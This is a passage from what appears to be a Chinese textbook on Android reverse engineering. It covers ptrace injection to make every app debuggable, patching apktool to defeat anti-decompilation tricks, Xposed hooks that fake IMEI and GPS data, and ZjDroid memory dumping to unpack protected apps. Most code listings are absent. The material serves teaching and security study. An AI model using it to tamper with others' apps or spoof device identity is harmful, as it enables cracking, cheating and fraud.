    {"text": "而这些系统属性的文件system/build.prop和default.prop，都是init进程来进行解析的，系统启动的时候就会去解析init.rc文件，这个文件中有配置关于系统属性的解析工作信息。 然后会把这些系统属性信息解析到内存中，提供给所有App进行访问，这块信息也是内存共享的。"},
    {"text": "那么现在如果按照上面的目的：就是不需要反编译apk，添加android：debuggable属性的话，直接修改default.prop文件，把ro.debuggable属性改成1即可，但是通过上面的分析，修改完成之后肯定需要重启设备的，因为需要让init进程重新解析属性文件，把属性信息加载内存中方可起作用的。"},
    {"text": "但是并没有那么顺利，在实践的过程中，修改了这个属性，结果会发现设备死机了，其实想想也是正常的，如果属性能够通过这些文件来修改的话，那就感觉系统会出现各种问题了，系统是不会允许修改这些文件的。"},
    {"text": "前面已经提到过，这些属性文件是在系统镜像文件boot.img系统启动的时候，释放到具体目录中的，也就是说如果能够直接修改boot.img中的这个属性即可，那么这个操作是可以进行的。"},
    {"text": "上面分析了，init进程会解析这个属性文件，然后把这些属性信息解析到内存中，给所有App进行访问使用，所以在init进程的内存块中是存在这些属性值的，那么这时候就好办了，有一个技术可以做到，就是进程注入技术。 可以使用ptrace注入到init进程，然后修改内存中的这些属性值，只要init进程不重启的话，那么这些属性值就会起效。 好了，这个方法可以尝试，但是这个方法有一个弊端，就是如果init进程挂了重启的话，那么设置就没有任何效果了，必须重新操作了，所以有效期不是很长，但是一般情况下只要保证设备不重启的话，init进程会一直存在的，而且如果发生了init进程挂掉的情况，那么设备肯定会重启的。"},
    {"text": "用法很简单，首先把可执行文件mprop拷贝到设备中的目录下，然后运行命令，如下所示： 这个工具可以修改内存中所有的属性值，包括机型信息。 修改完成之后，使用getprop命令再查看值，发现修改成功了，但是需要注意的是，修改的是内存的值，而不是文件中的值。"},
    {"text": "所以default.prop文件中的内容是没有发生变化： 这时候，可以使用Eclipse的DDMS来查看可以调试的应用列表，如图15-1所示。 图15-1 Eclipse中DDMS查看应用列表 当然也可以使用adb jdwp命令来查看可以调试的进程id，如下所示： 但是可惜的是，发现还是没有展示设备中所有的应用，其实这里是有一个细节问题，虽然修改了内存值，但是有一个进程需要重启一下，哪个进程呢？ 就是adbd这个进程，这个进程是adb的守护进程，就是设备连接信息传输后台进程，所以想看到可以调试的进程信息的话，那么需要重启这个进程，这样连接信息才会更新。 重启这个进程很简单，直接使用命令即可，如下所示： 其实这是两个命令，用分号隔开，首先是干掉进程，然后重启。 运行完命令之后，再去看DDMS窗口信息，如图15-2所示。 图15-2 Eclipse 中DDMS界面展示可调式应用列表 这时候所有的应用进程都是可以调试的了，再使用dumpsys package命令查看一个应用的包信息，如下所示： 可以看到，这个应用的flags标志中并没有debuggable属性值，但是这个应用是可以调试的。"},
    {"text": "未知 15.4 本章小结 本章主要简单介绍了，在做逆向工作之前，要先准备一些基础知识，主要从三个方面介绍了基本知识点：首先是逆向工具，包括apktool、Jadx、Xposed、ZjDroid等相关信息，其次是逆向的基本语法知识，主要包括smali和arm语法，最后是逆向的辅助功能，通过修改系统调试开关，便于后续逆向应用。 未知 第16章 反编译神器apktool和Jadx apktool工具是开源的，也是用Java语言开发的，代码相对简单，本章就来分析一下它的大体逻辑。分析这个工具的原因只有一个，就是在之前的反编译过程中可以发现，总是有一些apk应用不那么轻易地被反编译，它们利用apktool的漏洞对apk做了一定的混淆工作，所以需要通过分析源码来解决这些异常，从而对每个apk的反编译都能如鱼得水。本章还介绍一个分析工具Jadx，它能更高效地分析apk。 未知 16.1 逆向操作惯例 当对一个apk进行破解之前，会做如下两件事： ·用压缩软件解压apk，得到classes.dex，然后使用dex2jar+jd-gui工具查看代码逻辑。但是这里会发现资源文件如AndroidManifest.xml和res下面的XML文件都是乱码的，因为它们遵循Android中的arsc文件格式，关于这个文件格式在之前几章已经详细介绍过了。其实不管是什么文件格式，都有文件格式的说明文档，只要按照说明文档去做解析即可。 ·使用apktool工具反编译apk，得到smali源码和资源文件。smali语法是Android虚拟机识别执行的指令代码，和dex文件可以相互转化，使用baksmali.jar和smali.jar这两个工具即可。当然这里还可以得到所有的资源文件，即arsc格式解析之后的内容，而且这个工具可以实现回编译，这个功能也是很强大的，不过后面分析源码就知道了，回编译其实是借助aapt这个强大的系统命令来完成的。可以看到如果想要完全分析一个apk，apktool工具是不可或缺的，它是开启破解大门的钥匙，这个工具也是逆向领域的敲门砖，而且现在很多可视化的破解工具的核心都是使用apktool+dex2jar+jd-gui这三个工具组成的，只是后期做了一定的界面优化。 未知 16.2 反编译常见的问题 apktool工具在反编译的过程中总会遇到一些问题，下面介绍最常见的两类问题。 1.第一类问题 错误提示： 主要是因为利用了apktool的一个漏洞，做了属性id的混淆，如下所示。 2.第二类问题 错误提示： 这是在使用apktool工具时报错最多的错误，主要是利用apktool的漏洞，修改了resource.arsc的头部信息，如下所示： 网上很多解决方案都是说apktool工具的版本太旧了，用最新版本，但是这里可以看一下apktool.jar的版本，如下所示： 这个版本是最新的了。反编译失败的原因是应用开发公司知道了apktool工具反编译的厉害，所以去看apktool的源码，分析得到漏洞，然后进行apk的一些混淆，防止反编译。因此，防护和破解真的是无休止的战争。幸好apktool的代码也更新得比较快，所以会解决这些漏洞，但是在破解的时候遇到这些问题，不能一味地等待apktool的更新，既然是开源的，那么就直接分析源码，发现报错的地方修复即可。"},
    {"text": "未知 16.3 分析apktool的源码 上面说了为什么要分析apktool的源码，下面就真正开始分析。当然第一步是得到apktool的源码，地址为 https://code.google.com/p/android-apktool/ 。看到有Google的域名是不是很郁闷？的确，国内程序员一般打开时始终处于loading状态，直至报错，所以只能去万能的GitHub上搜索了，找到了地址 https://github.com/iBotPeaches/Apktool 。可以看到有很多人关注，而且代码是有人维护和更新的，所以下载到本地。 但是下载后发现是一个Gradle项目，所以就给Eclipse装一个Gradle插件，然后导入项目即可。但是又遇到一个问题，还是国内网络的问题，Gradle下载失败，因为这里引用了一些第三方的jar，如下所示： 那么，只能无奈地手动去一个一个找这些jar包，这个过程还是比较辛苦的，有些jar很难找，不过最后还是都找到了，不再有报错，项目结构如图16-1所示。 图16-1 apktool项目结构 Apktools这个项目是入口，也是主要功能项目类，Baksmali和Smali、SmaliUtil是操作smali的工具类，BrutCommon和BrutDir、BrutUtil是一些辅助的工具类，代码简单，不做太多的解释。除了Apktools之外，其他项目都是功能库，它们之间的引用关系如下： ·Baksmali依赖于SmaliUtil。 ·BrutDir依赖于BrutCommon、BrutUtil。 ·BrutUtil依赖于BrutCommon。 ·Smali依赖于SmaliUtil。 ·Apktools依赖于Baksmali、BrutCommon、BrutDir、BrutUtil、Smali。 直接来看看主要功能Apktools项目。首先Java项目的入口方法肯定是main方法，搜一下找到这个Main类： 在方法中得到参数，然后进行参数的分析和组装。继续往下看执行代码： 这里看到了经常用的一些命令参数，它们的含义都了解了，ApkDecoder类是反编译的核心类： 最终也是调用它的decode方法，如下所示： 可以看到使用了Androlib这个核心类来做了一些操作，首先判断是否需要解析arsc格式的资源文件，下面仔细解析resource.arsc和AndroidManifest.xml这两个文件： 这里解析了dex文件，得到smali源码，而且区分了多个dex的情况。可以发现，apktool在整个反编译的过程中有三个核心点：解析resource.arsc文件、AndroidManifest.xml文件、dex文件。 关于这三个文件，在本书的前几章已经讲解过具体格式和解析方法，所以这里就不详细介绍了。 继续分析Androidlib这个核心解析类，就几个方法，下面来一一讲解。 1.解析原生文件 这个方法主要解析原生的文件，就是Android在编译apk的过程中不参与编译的文件目录，一般是assets和libs： 2.解析配置文件 这个方法主要是解析AndroidManifest.xml文件格式的： Android在安装一个apk的时候，肯定也需要解析AndroidManifest.xml文件，而且Android中解析XML文件采用的是Pull解析法，所以这里直接把Android中的一些方法拷贝过来了，如图16-2所示。 然后再找一个xmlPull的解析jar包即可，如图16-3所示。 图16-2 apktool解析AndroidManifest功能类 图16-3 apktool项目引入的jar包 3.解析资源文件 这个方法是用来解析resource.arsc文件的，这个文件主要包含了所有资源文件的一种格式。Android中资源文件都有相应的类型，以及唯一的一个整型id值，那么这个文件就包含这些内容，如下所示： 这个方法用到的解析类和AndroidManifest.xml的解析类是一样的，因为它们都属于arsc格式，而且资源文件也是XML格式。这里值得注意的是，会产生一个反编译中最关键的文件public.xml，这个文件位于反编译之后的res\\values\\public.xml目录下： 可以看到，每个id字段都有对应的类型、名称和id值，而这里的id值是一个整型值，8个字节，由PackageId+TypeId+EntryId：三部分组成，如下所示： ·PackageId：包的id值，Android中如果是第三方应用的话，这个值默认是0x7F，系统应用的话是0x01，具体可以看后面的aapt源码得知，占用两个字节。 ·TypeId：资源的类型id值，一般Android中有以下几个类型：attr、drawable、layout、dimen、string、style等，这些类型的值是从1开始逐渐递增的，顺序不能改变，attr=0x01，drawable=0x02……占用两个字节。 ·EntryId：具体的类型下资源实体的id值，从0开始，依次递增，占用四个字节。 4.解析dex文件 这个方法主要是将dex文件解析成smali源码： 这里使用了SmaliDecoder的decode方法，如下所示： 这里需要借助一个工具包dexlib，它用来处理dex文件，处理完dex文件之后，再交给baksmali工具类生成smali文件即可。 源码分析完了，下面开始测试一下。这里为了运行简单，在入口的main方法中手动构造一个参数："},
    {"text": "未知 16.4 解决常见问题 反编译也会出现错误，本节分析并解决这类问题。 1.第一类反编译错误 错误信息如图16-4所示。 图16-4 反编译错误（一） 报错信息和开始使用apktool工具的时候是一样的，看看崩溃代码： 可以发现，这里使用一个Map结构存放ResResSpec格式数据，而且key是spec的name值，那么知道资源id的值是唯一的，不可能出现相同的name值，是做了混淆机制，这种混淆机制只对apktool工具有效，对Android系统解析apk运行是不影响的。知道了崩溃的原因，修复也就简单了，直接加一个判断，判断这个key是否在map中，存在的话就直接返回，如图16-5所示。 图16-5 修复问题 再次运行，如图16-6所示。 过滤了重复的资源值，反编译成功了。这里因为反编译过程中会用到系统的资源id，需要系统资源包framework.apk参与解析工作，因为程序包比较大，反编译时间会长点。可以看看反编译之后的目录，如图16-7所示。 图16-6 再次运行 图16-7 回编译文件apktool.xml 它的AndroidManifest.xml内容如下： 解析成功，可以正常查看了。这里就解决了反编译的错误。 2.第二类反编译错误 错误信息如图16-8所示。 这个错误和开始看到的错误是一样的，下面看看崩溃的地方是什么原因导致的： 图16-8 反编译错误（二） 这里是读取一个字符串常量池Chunk头部信息报错的，StringChunk的头部信息包括如下内容： ·header：标准的Chunk头部信息结构。 ·stringCount：字符串的个数。 ·styleCount：字符串样式的个数。 ·flags：字符串的属性，取值包括0x000（UTF-16）、0x001（字符串经过排序）、0x100（UTF-8）及其组合值。 ·stringStart：字符串内容块相对于其头部的距离。 ·stylesStart：字符串样式块相对于其头部的距离。 其中header是一个标准的Chunk头部信息： ·type：当前Chunk的类型（两个字节）。 ·headerSize：当前Chunk的头部大小（两个字节）。 ·size：当前Chunk的大小（四个字节）。 共八个字节。继续分析错误代码： 这里会检查已给Chunk结构的完整性，输入的StringPool值是： 下面是字符串常量池Chunk的头部信息，而且值是固定的：0x001C0001，再进入看看代码： 如果发现格式不正确就抛出一个异常，即格式不是0x001C0001的话就不正确。那么问题差不多清楚了，崩溃的原因很可能是应用的resource.arsc的StringPool这个Chunk的头部信息被混淆了。通过上面的分析知道，StringPool这个Chunk的头部标准格式是0x001C0001，我们来看看应用的resource.arsc文件的二进制数据，如图16-9所示。 图16-9 分析resource.arsc头部信息（一） 可以发现有这个值，那么为何还报错呢？到这里或许不知道该怎么办了。再去看一个能够反编译的apk的resource.arsc文件，如图16-10所示。 图16-10 分析resource.arsc头部信息（二） 发现果然不一样，头部信息多了8个字节0x000001000，那么再看上面检查Chunk头部类型数据的代码： 可以看到，apktool其实已经做了头部信息的检查，但是这里只是检查0x001C0001这个正确信息之前的值只有四个字节，而且是0的情况，读取int整型值，四个字节，发现值等于传递进来的possible的话，就继续执行这个方法，但是这里的possible值是-1了，也就是这里只会检查四个字节，但是分析了应用的resource.arsc文件，发现它是八个字节，而且还不全是0，前四个字节是0，后四个字节是1： 所以这里检测也是失败的，抛出异常了。 分析完资源文件混淆的机制，下面修改就简单了，首先把上面的8个字节全部改成0： 然后替换之前的resource.arsc文件，直接用压缩软件替换即可，然后再修改上面的检测代码，如下所示： 修改代码，一直做检测，直到遇到正确的值为止，修复完成之后，运行： 不报错了，看看反编译之后的目录： 反编译也成功！ 通过上面的分析可见，使用apktool反编译的问题主要有两个： ·Exception in thread“ main” brut.androlib.AndrolibException：Multiple res specs：attr/name 异常原因：通过分析源码知道，这个错误主要是因为apk做了混淆操作，导致在反编译的过程中存入了重复的id值。 错误代码：ResTypeSpec.java的addResSpec方法78行。 修复：在这个方法存入map数据之前做一个判断操作即可。 ·Exception in thread“ main” brut.androlib.AndrolibException：Could not decode arsc file 异常原因：通过分析源码知道，这个错误主要是因为apk做了resource.arsc头部信息的修改，导致在分析头部数据结构的时候出错。 错误代码：ExtDataInput.java的skipCheckChunkTypeInt方法73行。 修复：修复resource.arsc头部数据，修改skipCheckChunkTypeInt检测方法逻辑。"},
    {"text": "未知 16.5 apktool的回编译源码分析 前面分析了apktool的反编译功能源码，解决了两个应用反编译的失败问题，下面继续分析一下apktool的回编译功能。关于回编译功能，首先要了解aapt命令功能，如图16-11所示。 图16-11 apk编译流程图 使用aapt命令编译资源文件： 命令参数有点多，只说明如下几个： ·-J后面跟着的是gen目录，也就是编译之后产生的R类，存放资源id。 ·-S后面跟着的是res目录，也就是需要编译的资源目录。 ·-I后面跟着的是系统的库，因为我们在项目资源中会用到系统的一些资源文件，所以这里需要链接一下。 ·-M后面跟着的是项目的清单文件，需要从这个文件中得到应用的包名，然后产生对应的R文件和包名。 这个命令不仅可以进行编译，也可以反编译，如上面提到的解析AndroidManifest.xml和resource.arsc的时候，使用它可以反编译，解析dex文件可以使用dumpdex命令。这些命令都在androidsdk的build-tools目录下。 知道了编译过程，回编译就是按照这个步骤来的，而这里重要的就是使用aapt命令： 把命令放到了项目的framework目录下，如图16-12所示。 图16-12 framework目录 然后开始构造命令参数，主要需要用到系统的jar包android.jar： 修改一下入口代码，添加回编译运行参数： 运行程序如下： 回编译成功，得到apk文件，如图16-13所示。 图16-13 回编译之后的apk文件 分析完了apktool工具所有的源码，总结一下其功能，如下所示： ·反编译过程中主要是解析AndroidManifest.xml、resource.arsc、dex文件。 ·回编译的时候借助aapt命令完成编译操作。 未知 16.6 Jadx源码分析 下面介绍反编译的另外一个神器Jadx，这个工具也是开源的，可以直接去GitHub上搜索： https://github.com/skylot/jadx 。这个工具其实和apktool反编译的功能差不多，但是有一个特色，就是可视化功能，能够高效地分析apk的结构。下面来看一个例子，如图16-14所示。 图16-14 Jadx工具效果图 可以看到结构很清晰，分析起来会比较方便，感觉它是集成了apktool+jd-gui的功能，但是和apktool相比的话，它还是有点缺陷的。首先反编译会比较耗时，其次它不能修改代码，进行回编译，这里为什么分析它呢？因为它是开源的，又借助了asm工具来生成class文件，实现Java代码的可视化。下面就来说说asm这个工具类的用途。这里写了一个demo来看看效果： 运行结果如图16-15所示。 图16-15 asm案例运行结果 这里没有打印“Hello world！的代码”，但是结果却打印了，这就是asm功能，即能够手动构造一个class文件，如图16-16所示。 图16-16 asm运行产生的class文件 大家是否联想到了动态代理模式，会产生一个动态代理类，而且还会生成一个Proxy.class文件？JavaWeb的Spring框架中Cglib也是采用这个功能来实现AOP编程的，它可以通过输入一个字符串来定义类，给这个类添加方法、字段等信息，然后生成类的字节码数组。可以保存成class文件，同时也可以使用ClassLoader来加载字节码数据，然后再反射调用指定的方法。Jadx的可视化功能就是借助这个功能，同时著名的dex2jar工具也是这样的，可以去dex2jar工具的lib目录看看，如图16-17所示。 图16-17 asm工具包 Jadx的反编译步骤是这样的：解析dex文件→smali源码→解析smali指令→借助asm生成class文件→解析class文件得到Java源码。 提示： Apktool+Jadx源码下载地址为 http://pan.baidu.com/s/1cHU30M 。 未知 16.7 本章小结 本章主要介绍了反编译神器apktool和Jada工具，其中apktoot是逆向工作中的金钥匙，所以本章着重分析了这个工具的实现原理，以便读者在反编译应用遇到问题的时候能够快速定位到问题，让反编译更加顺利。使用apktool是逆向反编译的第一步也是最重要的一步，所以了解它的工作原理是至关重要的。 未知 第17章 Hook神器Xposed 相信大家对Xposed框架应该不陌生，它是Android中Hook技术的一个著名框架，还有一个框架是CydiaSubstrate，但是这个框架是收费的，而Xposed框架是免费的且是开源的，网上已有很多文章介绍Xposed框架的原理实现，本章主要介绍如何使用这个框架。 未知 17.1 安装教程 在安装这个工具之前，要先解决如下几个问题： ·首先知道这个框架的核心点是系统进程注入技术，那么如果要注入系统进程，就必须要root权限，所以如果想用这个框架的话就必须得有一个root的设备。 ·然后就是这个框架的适配问题，不是所有的设备、所有的系统都支持这个框架的使用的，本人在实验的过程中就遇到了小米3+MIUI7操作失败了，结果重新刷了一个原生的Android 4.4系统才成功的。 ·最后一个问题就是Xposed框架本身的版本问题，它针对不同系统发布了多个版本，所以得针对于自己的设备系统安装正确的Xposed版本。 解决了这三个问题才能成功安装Xposed框架。而在这个过程中还会发现遇到两个问题。 第一个问题是不兼容问题，如图17-1所示。 图17-1 不兼容问题 第二个问题是提示安装框架问题，如图17-2所示。 图17-2 安装框架问题 本人在操作也是遇到了这两个问题，最后也是没有找到合适的答案，所以就刷了一个原生的Android 4.4系统。"},
    {"text": "未知 17.2 环境搭建 如果上面的问题都解决了，再打开应用，点击安装框架，如图17-3所示。 这里还是提示未激活，点击进入，如图17-4所示。 图17-3 安装框架界面 图17-4 框架激活状态图 这时候看到了正常了，可以点击安装了，直接点击安装即可，如图17-5所示。 图17-5 安装界面 这里是需要root授权的，点击允许，安装成功之后也会提示重启生效的，因为要注入系统进程，必须重启才有效果。 到这里就成功安装了Xposed框架了，在这个过程中肯定有人会遇到问题，个人觉得解决问题的最根本办法就是刷机了，本章操作的环境是：小米3移动版+Android原生4.4系统+Xposed_v33版本。"},
    {"text": "未知 17.3 编写模块功能 环境搭建好了，下面就开始操作了。上面安装的那个工具其实是一个模块管理器，如果想做一些hook操作还得自己编写模块，然后把这个模块安装到设备中，这个工具就可以检测出来了，会提示加载这模块然后重启设备，模块功能就有效果了。那么下面来看一下如何编写一个Xposed模块。 第一步： 新建模块项目 导入Xposed工具包，如图17-6所示。 图17-6 模块工程 这里一定要注意：不能使用libs文件夹而要使用lib文件夹，如果这里使用了libs文件夹，在安装模块成功之后重启，会发现Hook是失败的，通过打印tag为xposed的日志信息会发现这样的错误： 这个错误主要是因为把接口包含到了插件项目中了，那么可以猜想错误问题也是这个Xposed工具导致的。那么只需要把libs文件夹改成lib文件夹，然后用add buildpath命令即可。 注意： 在Eclipse中，如果把工具包放到libs文件中，默认是加入到编译路径中的，同时在编译出来的程序中也是包含了这个工具包中的所有类，而对于其他非libs文件夹，添加工具包之后执行add buildpath只是做到了项目引用工具包的功能，而最终并不会把这个工具包包含到程序中。 第二步： 编写模块代码 编写模块代码只要新建一个实现IXposedHookLoadPackage接口类，然后在handle-LoadPackage回调方法中进行拦截操作即可，而具体的拦截操作是借助XposedHelpers.findAndHookMethod方法和XposedBridge.hookMethod方法实现的，这两个方法从参数含义可以看到，主要是需要Hook的类名和方法名，还有一个就是拦截的回调方法，一般是拦截之前做什么的beforeHookedMethod方法，以及拦截之后做什么的afterHookedMethod方法，如图17-7所示。 图17-7 模块代码 对于IXposedHookLoadPackage这个接口和回调方法，可以知道，应该是拦截系统中所有应用的运行信息，传递回来的一个LoadPackageParam参数类型就是包括了Hook应用的具体信息，打印应用的包名就可以看到效果了。 注意： 如果想Hook一个类的具体方法，那么就必须要清楚地了解到这个方法的详细信息，比如参数类型和个数，返回类型等。因为在拦截的过程中必须要对这个方法进行分析，比如得到方法参数来进行具体参数修改，返回值信息来进行返回值修改。 看到了获取imei值的方法是一个无参数的返回字符串类型的方法，那么如果要拦截它的返回值，就需要修改它的返回值，使用setResult方法即可。所以从这里可以看到不管是Hook系统的方法，还是以后去Hook第三方应用的具体类方法，第一步都得了解到Hook对象的具体信息。关于系统方法可以通过查看源码来得到信息，而对于第三方应用的话只能借助反编译技术了，比如修改游戏金币功能，必须先反编译游戏知道修改金币的类和具体方法才可行。 这里不仅Hook了系统的imei信息，也简单Hook了系统的地理位置信息，在Android中获取经纬度信息有三种方式，这里为了演示简单，用了GPS定位功能，一般获取经纬度信息的代码主要是两处。 第一处是初始化的时候调用getLastKnowLocation方法获取最后一次系统中的地理位置信息，如下代码： 第二处就是监听地理位置变化的回调接口中的onLocationChanged回调方法，如下代码： 如果想Hook系统的地理位置信息进行拦截，就需要操作这两处代码。而它们有一个区别，第一处是通过返回值得到的，第二处是通过回调方法中的参数得到的。下面来看一下具体的Hook代码。 Hook第一处代码比较简单，直接构造一个假的Location对象，然后设置返回值即可，如下代码所示： Hook第二处代码有点复杂，需要先找到添加位置监听的方法requestLocationUpdates，然后通过反射得到这个回调对象，找到具体的回调方法，再进行操作，因为回调方法是通过参数把Location对象传递回来的，所以这里需要修改参数值。如下代码所示： 到这里就编写好了Hook系统的imei值和地理位置信息的模块了。 第三步： 添加模块入口 这一步是非常重要的，也是最容易忘记的，就是要告诉Xposed框架一个模块中Hook的入口，可以看到模块的入口是Main类，所以需要在模块的assets中添加一个xposed_init文件，如图17-8所示。 图17-8 入口文件xposed_init 这里的内容就是模块入口类的全称名称即可，如图17-9所示。 图17-9 xposed_init文件内容 第四步： 添加模块的额外信息 最后一步需要在模块的AndroidManifest.xml文件添加额外信息，具体包括模块的描述信息、版本号等，如下所示： 其中： ·xposedmodule：是Android程序作为Xposed中的一个模块，所以值为true。 ·xposeddescription：是对本模块的功能的描述，可以自己简单叙述一下就可以了。 ·xposedminversion：是本模块开发时用到的Xposed的jar包最低版本号，这里是30，这里所用的Xposed的jar包版本是54。 经过上面4步之后就完成了模块的定义，最后为了验证Hook的结果，再新建一个Activity类，在内部调用一下系统的获取imei方法以及位置信息方法，并且显示在屏幕中，如下代码所示："},
    {"text": "未知 17.4 运行模块 下面就来运行一下模块程序，安装到设备之后，Xposed会提示模块未激活，如图17-10所示。 这个XposedInstaller程序工具应该是通过接收安装广播，然后得到这个应用信息分析它是否包含了Xposed模块的特殊属性来判断的。点击进行激活，如图17-11所示。 图17-10 提示未激活信息 图17-11 激活模块 这时候看到激活成功之后，会提示再次重启设备才能生效。每当有新的模块或者模块代码有更新都需要重启设备模块才生效，如图17-12所示。 这一点还是麻烦的。重启设备之后，再运行模块代码看看效果，如图17-13所示。 从这显示结果看到了，Hook成功了，在没有Hook之前的效果是，如图17-14所示。 图17-12 提示模块更新 图17-13 运行结果 图17-14 没有拦截之前的运行效果 这时候来看一下打印的日志信息，如下所示： 百度地图在获取设备的imei和位置信息，当然这是符合正常情况的，从这里可以看到，还可以利用这个技术来观察设备中有哪些应用在获取设备的一些隐私数据。 提示： 项目下载地址为 https://github.com/fourbrother/xposedhookdemo 未知 17.5 本章小结 本章主要介绍Xposed的基本使用规则和方法，XposedInstaller.apk其实是一个模块载体和管理器，如果想实现具体的Hook操作，就必须自己编写模块程序，然后激活加载方可生效。在实际过程中，这个框架是非常有用的，可以通过修改系统的一些信息来帮助测试模拟复杂的测试环境，但是这个框架现在用得最广泛的当属破解操作，比如用这个框架可以进行应用的脱壳，编写游戏的外挂等。 未知 第18章 脱壳神器ZjDroid 前面一章介绍了Xposed框架工具的基本使用，本章将继续介绍Xposed框架的另外一个功能即脱壳，主要是利用Xposed的脱壳模块工具ZjDroid实现的，因为它是开源的，所以直接分析源码即可，源码的下载地址： https://github.com/halfkiss/ZjDroid 。不过可惜的是现在只公开了Java层的代码，而native层的代码并没有公开，分析源码之后会发现最重要的功能就在native层。 未知 18.1 ZjDroid原理分析 下面就来详细分析一下ZjDroid工具的源码，由Eclipse工程导入，基于之前的Xposed模块编写的经验，找到入口代码，在assets目录下有一个xposed_init文件中就记录了模块的入口类，如图18-1、图18-2所示。 图18-1 xposed_init文件 图18-2 xposed_init入口类 直接进入到这个类即可，代码如下： 遵循统一规则，实现了IXposedHookLoadPackage接口，再实现handleLoadPackage回调方法即可，下面继续分析入口方法ModuleContext，代码如下： 这里开始拦截Application的onCreate方法，而这个方法一般是每个应用程序的启动方法，在这里做拦截操作也是合情合理的，再看拦截之后做了什么，也就是ApplicationOnCreateHook类的实现，代码如下： 在这里开始真正的拦截操作，主要是添加了一个广播，每个应用在启动的时候都会去注册这个广播，而如果后续使用该工具发送这样对应Action广播的话，每个应用程序都会收到。所以这里可以看到，核心工作就在这个广播的接收之后做了，接下来继续去看这个广播的定义，代码如下： 果然在这里，可以看到首先会通过发送广播的intent中携带一些数据过来，主要是两个数据： ·进程id：作用主要是为了过滤其他应用，只处理本应用的逻辑，因为这个广播发送之后所有的应用都能接收到，但是脱壳时肯定只是针对于某一个应用，那么只需要在这个应用的广播接收中做处理即可。 ·命令字符串：是为了发送广播可以支持多种功能，后面分析也可以看到的确有很多功能。 得到命令之后就开始构造一个执行器类，这里用到了设计模式中的命令模式。下面继续看看有哪几种命令执行器类，代码如下："},
    {"text": "未知 18.2 工具命令分析 下面就来逐一分析这个工具支持哪几种命令。 1.dump_dexinfo 获取应用运行时内存中dex的信息DumpDexInfoCommandHandler，代码如下： 进入方法详细查看一下： 可以看到，这里的实现逻辑是，全部通过反射机制获取每个应用的dex文件对应的DexFile类型对象，这里的工作和Android中插件化开发逻辑有点类似，通过应用的默认类加载PathClassLoader类得到DexPathList类，然后再得到具体的DexFile对象即可。 这里要说的就是这个dex文件对应的cookie值，这个值非常重要，是后续命令操作的基本信息，它代表的含义就是底层中每个应用的dex文件对应的唯一id值，系统会维护一个map结构来保存这些数据，然后通过这个cookie值找到对应的dex文件信息。 命令用法： 这里使用的是命令方式发送一个广播，通过--ei携带目标进程id是一个int类型，通过--es携带命令字符串。 2.dump_dexfile 这个命令也是后续脱壳的重要命令，就是dump出应用内存中的dex文件DumpDex-FileCommandHandler，代码如下： 这里可以看到dump出应用的内存数据，首先需要传入源应用的dex数据，也就是apk文件，这一般都是存放在/data/app/xxx.apk目录下的，然后构建了一个dump之后的dex文件路径，通过源码查看是在/data/data/xxx/files/dexdump.odex中。接下继续查看dump的核心代码： 看到这里有一个核心的方法，但是可惜的是这个方法是native的，而这个工具并没有把native层的代码公开，但是通过这里传递的参数可以了解到，底层应该是采用了libdvm.so或者是libart.so库得到具体的函数，然后通过dex对应的cookie值获取信息。 命令用法： 注意这里的dexpath参数代表需要脱壳的dex文件，也就是应用程序文件。 3.backsmali 这个命令与上面的命令功能差不多，只是这个命令多了一层操作，就是把dex文件转化成smali文件，所以这里不再详细说明了，可以先得到dex文件，然后通过工具得到smali文件。 命令用法： 注意这里的dexpath参数代表需要脱壳的dex文件，也就是应用程序文件。而最终生成的smali文件是放在/data/data/xxx/smali下面的。 4.dump_mem 这个命令是用来dump出应用程序运行时内存中指定开始位置和长度的内存块数据的DumpMemCommandHandler，代码如下所示： 可惜这个方法也是native层的，但是可以知道每个应用运行时的内存地址都在/proc/[pid]/maps文件中，如下所示： 那么查找内存地址，然后使用memcpy进行内存数据拷贝也是非常简单的。 命令用法： 注意这里的start和length都是十进制的，而不是十六进制的数据格式。 5.dump_heap 这个命令可以dump出虚拟机的堆内存信息，文件可以使用Java heap工具进行分析，而对于这个命令想一下应该也知道实现逻辑，也是在native层的，而且这个代码逻辑应该和上面的那个命令差不多。 命令用法： 6.dump_class 这个命令主要用于dump出dex文件中的类信息，因为在DexFile对象中有一个隐藏的方法可以把dex文件中的所有类名获取到getClassNameList，如下代码： 可以看到这个方法的传入参数为一个dex文件对应的cookie值。 命令用法： 这里的dexpath是需要得到所有类信息的dex文件路径，也就是应用的apk文件路径。 7.invoke 这个命令用于运行时动态调用Lua脚本，该功能可以通过Lua脚本动态调用Java代码。使用场景：可以动态调用解密函数，完成解密；可以动态触发特定逻辑。代码就不进行分析了，因为觉得这个命令很少使用。 命令用法： 这里的filepath是Lua脚本文件的存放路径。 未知 18.3 工具日志信息 ZjDroid工具除了操作命令，还有两个非常重要的打印日志的tag： ·adb logcat-s zjdroid-shell-{package name}。这个tag可以查看上面每个命令执行的结果，便于查看命令执行的状态。 ·adb logcat-s zjdroid-apimonitor-{package name}。这个tag可以监听对应包名应用调用的API信息，这个作用有点类似于运行时权限请求。可以直接通过Xposed提供的方法对一些敏感API进行拦截，然后添加监控代码即可。 未知 18.4 工具用法总结 完全分析完ZjDroid工具的功能，下面就来总结一下： 1）获取apk当前加载dex文件信息： 2）获取指定dex文件包含可加载类名： 3）根据Dalvik相关内存指针动态反编译指定dex，并以文件形式保存： 4）dump指定dex内存中的数据并保存到文件（数据为odex格式，可在PC上反编译）： 5）dump指定内存空间区域数据到文件： 6）dump Dalvik堆栈信息到文件，文件可以通过Java heap分析工具分析处理： 7）运行时动态调用Lua脚本。该功能可以通过Lua脚本动态调用Java代码。使用场景：可以动态调用解密函数，完成解密。可以动态触发特定逻辑： 8）相关命令执行结果查看。命令执行结果： 敏感API调用监控输出结果："},
